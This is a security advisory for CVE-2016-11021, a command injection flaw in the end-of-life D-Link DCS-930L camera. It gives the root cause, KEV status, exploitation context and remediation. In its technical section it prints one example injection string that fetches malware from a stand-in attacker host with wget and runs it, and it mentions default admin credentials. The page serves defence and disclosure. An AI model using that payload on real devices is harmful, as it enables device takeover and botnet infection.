CVE-2016-11021 — D-Link DCS-930L Devices OS Command Injection Vulnerability

CVE-2016-11021

D-Link DCS-930L Network Camera — setSystemCommand Function Allows Authenticated Admin OS Command Injection; End-of-Life Device with No Patch Available

The D-Link DCS-930L is a consumer-grade network cloud camera used for home security monitoring — it streams live video over the internet to the D-Link mydlink cloud service and is managed via a web-based administration interface. It was a widely sold consumer IoT security camera. D-Link has declared the DCS-930L end-of-life; no further firmware updates or security patches will be released for this device.

Consumer IoT cameras are high-value exploitation targets: they have always-on network connectivity, often with cloud-accessible management interfaces, run full embedded Linux operating systems with privileged processes, and are rarely monitored for security events. Compromised cameras can be recruited into botnets, used for network surveillance, or repurposed as persistent network footholds.

Overview

Actively Exploited. This vulnerability has been added to CISA's Known Exploited Vulnerabilities (KEV) Catalog on March 25, 2022. Federal agencies are required to apply mitigations per BOD 22-01.

CVE-2016-11021 is an OS command injection vulnerability in the D-Link DCS-930L network camera that allows an authenticated administrator to execute arbitrary OS commands on the device. The setSystemCommand function in the DCS-930L's web administration interface accepts a parameter that is passed directly to the underlying embedded Linux shell without sanitization, allowing shell command injection via the network management interface. The D-Link DCS-930L is end-of-life with no firmware patch available; CISA's required action is to disconnect the device. CISA added CVE-2016-11021 to the KEV catalog in March 2022.

Affected Versions

D-Link DCS-930L Status
All DCS-930L firmware versions Vulnerable — no patch available
D-Link DCS-930L (end-of-life) Permanently vulnerable

D-Link has declared the DCS-930L end-of-life. No security patches will be issued. The recommended action is device replacement.

Technical Details

Root Cause: setSystemCommand OS Command Injection

CVE-2016-11021 is an OS command injection vulnerability (CWE-78) in the DCS-930L's setSystemCommand CGI function. The DCS-930L's embedded web server provides administrative API endpoints for configuring the camera. The setSystemCommand function is designed to allow administrators to run system diagnostic or management commands on the camera's embedded Linux OS.

Vulnerability mechanism: The setSystemCommand function receives a command parameter via HTTP and passes it to the embedded shell (/bin/sh -c <command>) without sanitizing shell metacharacters. An attacker who authenticates to the web interface can inject arbitrary commands using standard shell injection techniques:

setSystemCommand?command=ping+127.0.0.1;wget+http://attacker.com/malware+-O+/tmp/m;sh+/tmp/m

The injected semicolon separates the benign ping command from the attacker's wget and execution commands, running all three commands as root on the camera's embedded Linux.

Attack prerequisites:

  • PR:H (High privilege required): the attacker must have administrator credentials to the DCS-930L web interface
  • These credentials may be obtained via default passwords (admin/admin or blank), credential stuffing, or brute-force attacks against the management interface

Default Credential Context

The high-privilege requirement does not significantly limit exploitation because:

  • Many DCS-930L devices retain default credentials (admin with blank or weak password)
  • The D-Link mydlink cloud service and local management interface may have the same credentials
  • Credential scanning tools specifically target IoT devices with known default credentials
  • ISP-provided cameras or cameras installed by non-technical users often retain defaults

Attack Characteristics

Attribute Detail
Attack Vector Network — camera web management interface or mydlink cloud API
Authentication High-privilege (admin credentials) required
Impact Root OS command execution on embedded Linux camera
EOL Status No patch available — device must be replaced

Discovery

Discovered by security researchers as part of IoT security research; published as CVE-2016-11021 in March 2020, approximately four years after the vulnerability's existence — reflecting the lag in IoT vulnerability documentation and the end-of-life status of the device.

Exploitation Context

  • Default credential attack chain: CVE-2016-11021 is most commonly exploited via the default credential path — attackers scan internet-facing DCS-930L cameras, authenticate with default credentials, and use setSystemCommand to install botnet malware; this two-step attack (default auth + command injection) is fully automated in IoT botnet toolchains
  • Mirai variant exploitation: Successor botnets to Mirai incorporated OS command injection vulnerabilities in consumer cameras alongside credential exploitation; CVE-2016-11021 provides a code-execution path beyond Mirai's pure-credential-exploitation model
  • Physical security camera compromise: An attacker who compromises a DCS-930L gains access to its live video stream — enabling physical surveillance bypass and intelligence collection about the monitored location in addition to the network-level compromise
  • EOL persistence: The DCS-930L's end-of-life status means CVE-2016-11021 is permanently exploitable in all deployed devices; users who purchased and installed these cameras years ago may not be aware of the EOL status or the security implications
  • CISA KEV (2022): Added March 25, 2022 alongside CVE-2016-10174 (NETGEAR buffer overflow), reflecting a batch review of exploited IoT device vulnerabilities

Remediation

CISA BOD 22-01 Deadline: April 15, 2022. The DCS-930L is end-of-life with no patch available. The required action is to disconnect and replace the device.
  1. Disconnect and replace the DCS-930L immediately — D-Link has issued no security patch for CVE-2016-11021 and will not do so; the only remediation is replacing the device with a currently supported camera model that receives active firmware security updates.

  2. If immediate replacement is not possible, isolate the device — move the DCS-930L to an isolated network segment with no internet access and no path to internal corporate systems; disable the mydlink cloud service; restrict access to the management interface to specific trusted IP addresses.

  3. Change default credentials immediately — if the camera must remain in service temporarily, change the admin password to a strong, unique value to reduce the risk of default credential exploitation.

  4. Disable internet-facing camera access — remove any port-forwarding or DMZ rules that expose the DCS-930L management interface (port 80) to the internet.

  5. Review camera footage and network logs — if the camera has been internet-accessible with default or weak credentials, assume it may be compromised; review camera settings for unexpected changes and network logs for unexpected outbound connections from the camera.

Key Details

PropertyValue
CVE ID CVE-2016-11021
Vendor / Product D-Link — DCS-930L Devices
NVD Published2020-03-09
NVD Last Modified2025-11-05
CVSS 3.1 Score7.2
CVSS 3.1 VectorCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
SeverityHIGH
CWE CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') find similar ↗
CISA KEV Added2022-03-25
CISA KEV Deadline2022-04-15
Known Ransomware Use No

CVSS 3.1 Breakdown

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Required Action

CISA BOD 22-01 Deadline: 2022-04-15. The impacted product is end-of-life and should be disconnected if still in use.

Timeline

DateEvent
2016-01-01Vulnerability exists in D-Link DCS-930L firmware (approximate disclosure date)
2020-03-09CVE-2016-11021 published by NVD; D-Link DCS-930L has reached end-of-life with no patch available
2022-03-25Added to CISA Known Exploited Vulnerabilities catalog
2022-04-15CISA BOD 22-01 remediation deadline